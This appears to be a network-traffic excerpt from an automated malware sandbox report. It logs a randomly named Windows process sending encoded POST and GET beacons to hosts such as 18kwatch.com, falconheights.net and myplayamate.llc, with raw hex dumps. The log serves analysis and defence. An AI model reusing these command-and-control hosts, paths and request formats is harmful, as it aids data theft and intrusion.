74 49 62 52 41 34 43 44 6c 71 78 6c 44 49 51 42 41 57 74 6a 6b 34 64 6a 66 34 74 4a 43 6b 62 42 48 35 7a 4a 4b 61 38 54 52 63 36 47 56 69 63 5a 72 71 56 6d 45 41 73 57 62 51 61 71 58 67 43 59 66 48 4c 69 7a 61 75 76 38 45 74 4c 38 72 51 2b 70 77 73 7a 37 71 48 6c 50 70 68 46 43 79 6a 68 2f 67 2b 6f 4e 62 54 6f 55 6f 55 65 70 30 39 30 76 4e 76 68 45 38 6f 6d 6e 4b 52 6c 39 35 77 63 4d 69 6d 78 37 37 4d 4d 39 46 39 52 76 54 68 42 36 6b 63 71 6e 4c 65 51 6e 56 75 68 36 63 6d 37 46 [TRUNCATED] Data Ascii: E2fH=a3Q4cfNIaYv3kfCXSE6M64QsYxBeQ+/ZPoTfG7Bm/mNSl2QPq/DInNeueU/9jgbKPA/mBg5zXlUWLwBti+b3L83Gnfm2ZEqF66bYOoP0w4tfUu9dI3VCds/cp3stgNr5N4Q+azfB/Ln3BN0dj1CYfT+xwU3R3urHP52RLUPsN8UPtIbRA4CDlqxlDIQBAWtjk4djf4tJCkbBH5zJKa8TRc6GVicZrqVmEAsWbQaqXgCYfHLizauv8EtL8rQ+pwsz7qHlPphFCyjh/g+oNbToUoUep090vNvhE8omnKRl95wcMimx77MM9F9RvThB6kcqnLeQnVuh6cm7FbodqmS0GgUwPBdtdbTrWfWMD4lJiBCKLM1Cxxc+OyQvwg3aCwTrpN4aLvcbFFTJZJnJORwSJ0EmszNHliPx3w5Dzf80WiWDQIb1pW+nkPB6tvKkvAOkDdR8UMTmLREUMZlg8zLNu9fNTJDUXIzZ1LT488wODlulxPlcFCd5tzPfDI52u29cF3BSgp25mgbx5fK+bQBYntPgevVRxZK+w68KmXLskH+23wuwwW95PJi/8XsbiFDAz3b1nn5ZJwv++fd7slaOMrIpXs+LKK9kBZPci9Kgp7KxLIgaHS2HxOW0mpoze8MLrt6eBr1fbPz3wmcqpzZf0sY2d0OPS3abureZOCF0VsEsqymipKlrndXBUth2Q9ml0Zggcq9whRaU53TFiRj/9vXl5R4fFtXDXtI6D1vzodPhSwIf4ESnvmJOQEzidQ6vj0h7ues/lVyC0fo9GyOCEeaeq9BLHKLeTYzllzoyu+IlNOu1t2JDhK5RdTxNjMKii4FCMdP1peR2yypPfz836NsG0wO8ofGinJxCQ09LmpzdcYl60cwWEYt4gnMv04p2Y84IpmJDznPebvhppoRwG0T/CytG6x6QX0Nyz1g3nwv9e9Bm10PstbCvZbNS2B0gFB8jO84tdtIFFNudRRLaauSs2itty+bwE1F5A77iniU59Ms [TRUNCATED]
Nov 7, 2024 12:52:23.048382044 CET	327	IN	HTTP/1.1 301 Moved Permanently location: https://falconheights.net/4wnb/ vary: Accept-Encoding server: DPS/2.0.0+sha-a9ecb8e x-version: a9ecb8e x-siteid: us-east-2 set-cookie: dps_site_id=us-east-2; path=/ date: Thu, 07 Nov 2024 11:52:22 GMT keep-alive: timeout=5 transfer-encoding: chunked connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.11	50015	76.223.105.230	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:52:24.986550093 CET	512	OUT	GET /4wnb/?E2fH=X14YfohpWrTQgo+2fEGR/oEnJAhsffb6ONKrCrUA6BZWjV0Lu+Wdyuy2cUfhulzwfmbkeUkSY2ITORl/jt7fTa2/oaemcjCq9ZnCapLt5vZPfbZ3XVFIYc4=&wZY4Z=9tG860z8qzo HTTP/1.1 Host: www.falconheights.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Nov 7, 2024 12:52:25.598870993 CET	471	IN	HTTP/1.1 301 Moved Permanently location: https://falconheights.net/4wnb/?E2fH=X14YfohpWrTQgo+2fEGR/oEnJAhsffb6ONKrCrUA6BZWjV0Lu+Wdyuy2cUfhulzwfmbkeUkSY2ITORl/jt7fTa2/oaemcjCq9ZnCapLt5vZPfbZ3XVFIYc4=&wZY4Z=9tG860z8qzo vary: Accept-Encoding server: DPS/2.0.0+sha-a9ecb8e x-version: a9ecb8e x-siteid: us-east-2 set-cookie: dps_site_id=us-east-2; path=/ date: Thu, 07 Nov 2024 11:52:25 GMT keep-alive: timeout=5 transfer-encoding: chunked connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.11	50016	202.87.223.248	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:52:31.057436943 CET	770	OUT	POST /q2rh/ HTTP/1.1 Host: www.18kwatch.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.18kwatch.com Referer: http://www.18kwatch.com/q2rh/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 201 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 6d 39 73 53 50 65 57 2b 77 76 73 54 72 31 75 67 6d 2f 6e 6f 69 4a 35 4b 66 62 75 54 4e 58 55 67 55 39 55 6e 79 51 70 66 4a 67 43 5a 51 32 73 33 56 75 42 76 56 70 69 71 61 43 65 42 42 5a 77 35 6d 59 61 55 4a 38 63 4f 63 4c 72 75 44 2f 76 2b 2f 4f 38 4e 4b 49 32 53 44 6c 64 2b 4a 34 74 46 44 70 76 37 67 56 67 51 61 55 68 59 62 38 78 4d 36 45 68 59 4e 6c 33 71 4b 6a 35 39 55 41 55 30 41 58 54 4a 48 57 75 77 51 66 68 53 58 38 49 74 74 47 74 41 66 58 50 42 58 30 4e 66 37 32 4f 47 46 46 65 48 73 2f 75 47 4a 33 5a 53 6a 4e 78 4c 54 50 64 55 71 44 6e 50 47 4c 54 35 51 58 6f 4e 33 67 3d 3d Data Ascii: E2fH=m9sSPeW+wvsTr1ugm/noiJ5KfbuTNXUgU9UnyQpfJgCZQ2s3VuBvVpiqaCeBBZw5mYaUJ8cOcLruD/v+/O8NKI2SDld+J4tFDpv7gVgQaUhYb8xM6EhYNl3qKj59UAU0AXTJHWuwQfhSX8IttGtAfXPBX0Nf72OGFFeHs/uGJ3ZSjNxLTPdUqDnPGLT5QXoN3g==
Nov 7, 2024 12:52:32.062402964 CET	426	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 11:52:31 GMT Server: Apache Content-Length: 262 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 31 38 6b 77 61 74 63 68 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at www.18kwatch.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.11	50017	202.87.223.248	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:52:33.603934050 CET	790	OUT	POST /q2rh/ HTTP/1.1 Host: www.18kwatch.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.18kwatch.com Referer: http://www.18kwatch.com/q2rh/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 221 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 6d 39 73 53 50 65 57 2b 77 76 73 54 74 56 2b 67 6b 63 2f 6f 32 5a 35 4a 47 72 75 54 44 33 55 6b 55 39 51 6e 79 52 39 78 63 44 32 5a 51 58 63 33 55 73 70 76 47 5a 69 71 43 53 65 2b 63 4a 77 4d 6d 59 66 72 4a 2b 49 4f 63 4c 2f 75 44 2f 2f 2b 2f 35 51 4b 4c 59 32 51 4c 46 64 34 4e 34 74 46 44 70 76 37 67 56 30 71 61 55 35 59 61 4d 68 4d 6f 77 39 66 52 56 33 70 63 7a 35 39 51 41 56 2f 41 58 54 6e 48 56 72 34 51 63 5a 53 58 35 73 74 6a 33 74 48 47 6e 4f 72 61 55 4d 4b 39 44 6a 71 41 79 44 54 6e 4f 69 45 48 54 52 47 6d 4c 67 52 44 73 55 44 70 51 76 4e 53 74 79 4a 5a 6d 4e 45 73 6a 61 49 64 59 41 66 52 56 73 63 72 34 30 62 53 4a 35 2f 72 35 45 3d Data Ascii: E2fH=m9sSPeW+wvsTtV+gkc/o2Z5JGruTD3UkU9QnyR9xcD2ZQXc3UspvGZiqCSe+cJwMmYfrJ+IOcL/uD//+/5QKLY2QLFd4N4tFDpv7gV0qaU5YaMhMow9fRV3pcz59QAV/AXTnHVr4QcZSX5stj3tHGnOraUMK9DjqAyDTnOiEHTRGmLgRDsUDpQvNStyJZmNEsjaIdYAfRVscr40bSJ5/r5E=
Nov 7, 2024 12:52:34.619891882 CET	426	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 11:52:34 GMT Server: Apache Content-Length: 262 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 31 38 6b 77 61 74 63 68 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at www.18kwatch.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.11	50018	202.87.223.248	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:52:36.156150103 CET	1803	OUT	POST /q2rh/ HTTP/1.1 Host: www.18kwatch.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.18kwatch.com Referer: http://www.18kwatch.com/q2rh/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1233 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 6d 39 73 53 50 65 57 2b 77 76 73 54 74 56 2b 67 6b 63 2f 6f 32 5a 35 4a 47 72 75 54 44 33 55 6b 55 39 51 6e 79 52 39 78 63 43 4f 5a 51 46 55 33 56 4b 68 76 46 5a 69 71 63 43 65 46 63 4a 77 56 6d 63 7a 76 4a 2b 30 34 63 4f 37 75 4d 35 7a 2b 35 4d 6b 4b 45 59 32 51 48 6c 64 35 4a 34 74 71 44 6f 66 2f 67 56 6b 71 61 55 35 59 61 4a 74 4d 72 6b 68 66 54 56 33 71 4b 6a 35 78 55 41 56 58 41 55 6a 52 48 57 47 61 51 73 35 53 55 5a 63 74 75 6c 31 48 50 6e 4f 70 4a 6b 4e 4a 39 44 6e 31 41 32 6a 66 6e 4f 47 75 48 55 64 47 6d 4e 78 34 63 64 6c 66 39 54 6e 2f 50 39 2b 59 46 7a 6c 6a 70 55 62 77 53 4e 59 2f 43 7a 34 73 75 61 56 44 4a 63 39 62 33 38 57 53 71 57 30 2b 78 54 44 38 6f 46 4e 53 61 78 43 42 51 78 38 74 36 58 70 52 63 59 6f 53 74 64 48 69 51 6e 4d 31 6c 76 5a 49 79 55 57 4f 61 68 6c 48 34 47 65 48 52 54 38 46 42 78 6c 58 35 6f 38 66 44 49 54 6c 46 4c 74 6b 65 50 2f 4b 2b 49 59 30 68 50 4e 73 79 7a 61 58 41 73 59 59 38 55 74 47 52 55 6a 5a 63 4f 6e 64 4a 37 71 5a 34 31 44 71 48 4d 31 2f 39 [TRUNCATED] Data Ascii: E2fH=m9sSPeW+wvsTtV+gkc/o2Z5JGruTD3UkU9QnyR9xcCOZQFU3VKhvFZiqcCeFcJwVmczvJ+04cO7uM5z+5MkKEY2QHld5J4tqDof/gVkqaU5YaJtMrkhfTV3qKj5xUAVXAUjRHWGaQs5SUZctul1HPnOpJkNJ9Dn1A2jfnOGuHUdGmNx4cdlf9Tn/P9+YFzljpUbwSNY/Cz4suaVDJc9b38WSqW0+xTD8oFNSaxCBQx8t6XpRcYoStdHiQnM1lvZIyUWOahlH4GeHRT8FBxlX5o8fDITlFLtkeP/K+IY0hPNsyzaXAsYY8UtGRUjZcOndJ7qZ41DqHM1/9+7Z5YL8GYlJbtfwrbQ5eaiByLDgOb8iWR8VBjtlGL7DcFpzcuqK/wF8I601sPTWzS/ZxKiZu0tBNLXa6ggtiWDELdRmJnxKSnaO8Bu1plS4H70hYWBhjHf9D/QJ6zNjFnALsHm8QGNpSznBQgB8wwSF/lSCvQM9t4jP/S9tSR9LFSbQd7KcYpccCMRoF/0yjfvu5K1Xfaf6JtjTm7t4n+/AWYMf4OB0c+BB8ySjKQQtrot6Kbk1A6x8Xw1oIlBJndggH4Ht+mwzyQO0UehopgODQYsVOdkJVcLJIrGpOGHqUIon5IM7ipoeOB9GjAS14pn4kpdQgQoiUIHo125DEqiT4+jhb1cqeMT59zBg8d+dHHM+nNOehq7R6xrmp0CAMN7VaKIv4YVV0SDYBJCe+T6AFiZEb0DDSOd9rdWlaKKLaWk9wf7tQyIPEqPAckiQU4Q9vs+K7ck9W/cU1ffv1K8fcBCYEcEikB1AwjGAMGWDdQPq/a6De8cDBskxGzIkX5V8zAqJ2WhiSA+TEJ6H1rs7mInKkDiDBTKlMx63tceFPPRY0yYDYsJSGND1CCZFXci6fe1dgWHbur+Ni11VWnux3rQdrX1/KWCbjZ5S26ua5MTOLq1yAMJOky2HTe9VD8a3q8dKl2pBBRXkJo4hNDwziF0X/EnWA94 [TRUNCATED]
Nov 7, 2024 12:52:37.175945997 CET	426	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 11:52:36 GMT Server: Apache Content-Length: 262 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 31 38 6b 77 61 74 63 68 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at www.18kwatch.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.11	50019	202.87.223.248	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:52:38.697942019 CET	507	OUT	GET /q2rh/?E2fH=r/EyMueF1/AhvFqr+9TotpwoHKCIEEEMEoMq7xAjfHS+GnpKTvJxQoa4UgTQDYoJjZ3MWdRKVLrTGebY08sUCYWROzhfFqBrGL/IjHkWdzN6XshZkCh6U0M=&wZY4Z=9tG860z8qzo HTTP/1.1 Host: www.18kwatch.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Nov 7, 2024 12:52:39.715625048 CET	426	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 11:52:39 GMT Server: Apache Content-Length: 262 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 31 38 6b 77 61 74 63 68 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at www.18kwatch.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.11	50020	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:52:44.996476889 CET	779	OUT	POST /dm2x/ HTTP/1.1 Host: www.myplayamate.llc Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.myplayamate.llc Referer: http://www.myplayamate.llc/dm2x/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 201 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 74 70 6d 56 49 42 32 56 6f 57 6c 31 58 74 74 6c 54 68 46 6b 64 55 31 4e 4d 36 42 32 62 64 69 47 6f 49 6b 38 50 70 57 57 39 38 4d 75 74 36 6f 64 73 72 32 4a 6b 7a 30 75 6c 4f 4b 77 73 64 39 6c 32 6a 54 4b 64 48 57 6f 69 63 41 56 31 66 49 6e 43 59 43 61 46 51 53 50 64 4e 74 74 71 34 55 69 7a 55 30 74 74 70 71 55 73 4f 72 63 4c 66 77 6f 54 4f 4a 78 7a 72 34 49 32 41 6c 32 46 41 48 4c 76 2f 57 4a 6e 4c 6e 72 6e 4a 55 54 65 39 67 43 7a 38 6d 58 36 76 71 71 59 56 30 4f 50 72 51 42 79 41 41 62 2b 47 41 49 50 45 74 2b 50 34 56 48 73 79 78 72 38 41 4c 47 78 54 61 69 73 6c 6e 30 79 51 3d 3d Data Ascii: E2fH=tpmVIB2VoWl1XttlThFkdU1NM6B2bdiGoIk8PpWW98Mut6odsr2Jkz0ulOKwsd9l2jTKdHWoicAV1fInCYCaFQSPdNttq4UizU0ttpqUsOrcLfwoTOJxzr4I2Al2FAHLv/WJnLnrnJUTe9gCz8mX6vqqYV0OPrQByAAb+GAIPEt+P4VHsyxr8ALGxTaisln0yQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.11	50021	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:52:47.545464993 CET	799	OUT	POST /dm2x/ HTTP/1.1 Host: www.myplayamate.llc Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.myplayamate.llc Referer: http://www.myplayamate.llc/dm2x/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 221 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 74 70 6d 56 49 42 32 56 6f 57 6c 31 57 4e 39 6c 53 43 74 6b 63 30 31 4f 50 36 42 32 52 39 69 4b 6f 49 59 38 50 71 61 38 39 4f 6f 75 73 59 77 64 74 76 43 4a 68 7a 30 75 74 75 4c 34 7a 4e 39 75 32 6a 66 43 64 43 75 6f 69 63 55 56 31 65 34 6e 43 50 2b 5a 46 41 53 52 4a 39 74 76 6c 59 55 69 7a 55 30 74 74 70 75 79 73 4f 7a 63 4c 50 67 6f 53 71 64 2b 35 4c 34 50 6d 67 6c 32 4f 67 47 41 76 2f 57 72 6e 4f 44 42 6e 50 51 54 65 39 51 43 77 6f 36 49 68 66 71 73 46 46 31 4c 41 5a 68 36 38 43 70 30 7a 30 42 39 4a 41 35 50 48 65 45 64 38 52 34 38 2f 54 44 45 6c 31 37 53 6c 55 43 39 70 62 53 57 78 69 41 31 33 48 68 2b 79 59 34 41 6c 41 73 4d 62 4b 34 3d Data Ascii: E2fH=tpmVIB2VoWl1WN9lSCtkc01OP6B2R9iKoIY8Pqa89OousYwdtvCJhz0utuL4zN9u2jfCdCuoicUV1e4nCP+ZFASRJ9tvlYUizU0ttpuysOzcLPgoSqd+5L4Pmgl2OgGAv/WrnODBnPQTe9QCwo6IhfqsFF1LAZh68Cp0z0B9JA5PHeEd8R48/TDEl17SlUC9pbSWxiA13Hh+yY4AlAsMbK4=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.11	50022	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:52:50.091902018 CET	1812	OUT	POST /dm2x/ HTTP/1.1 Host: www.myplayamate.llc Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.myplayamate.llc Referer: http://www.myplayamate.llc/dm2x/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1233 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 74 70 6d 56 49 42 32 56 6f 57 6c 31 57 4e 39 6c 53 43 74 6b 63 30 31 4f 50 36 42 32 52 39 69 4b 6f 49 59 38 50 71 61 38 39 4f 67 75 74 72 34 64 73 4f 43 4a 69 7a 30 75 6e 4f 4c 35 7a 4e 39 7a 32 6a 58 38 64 43 71 65 69 65 73 56 31 39 67 6e 56 75 2b 5a 4c 41 53 52 4c 39 74 69 71 34 55 7a 7a 55 6b 68 74 70 2b 79 73 4f 7a 63 4c 4a 4d 6f 56 2b 4a 2b 71 62 34 49 32 41 6c 36 46 41 47 6f 76 2b 2f 55 6e 4f 48 37 6e 2f 77 54 65 5a 30 43 32 62 53 49 74 66 71 75 57 31 31 74 41 5a 74 6c 38 44 46 53 7a 31 45 59 4a 48 4e 50 46 49 77 47 75 42 73 67 6d 42 53 33 78 32 53 77 73 33 6d 76 73 38 54 75 33 79 6f 69 7a 54 34 70 78 34 39 54 39 54 73 4e 4e 63 54 75 57 6d 6c 4e 2b 36 39 64 5a 49 5a 30 6b 50 4a 79 41 55 4c 6d 79 79 72 5a 64 45 33 33 66 35 66 4d 61 38 39 35 47 79 6a 32 45 2b 53 6a 68 73 47 38 66 45 50 50 37 32 39 4a 36 71 79 2f 56 77 6b 52 50 6d 7a 38 41 5a 48 59 38 62 69 62 76 43 5a 63 59 43 43 59 30 6b 75 4b 59 35 74 75 44 4c 49 66 4f 4b 4b 6b 42 39 63 47 4e 38 4f 78 4e 6e 71 44 48 30 39 7a 42 [TRUNCATED] Data Ascii: 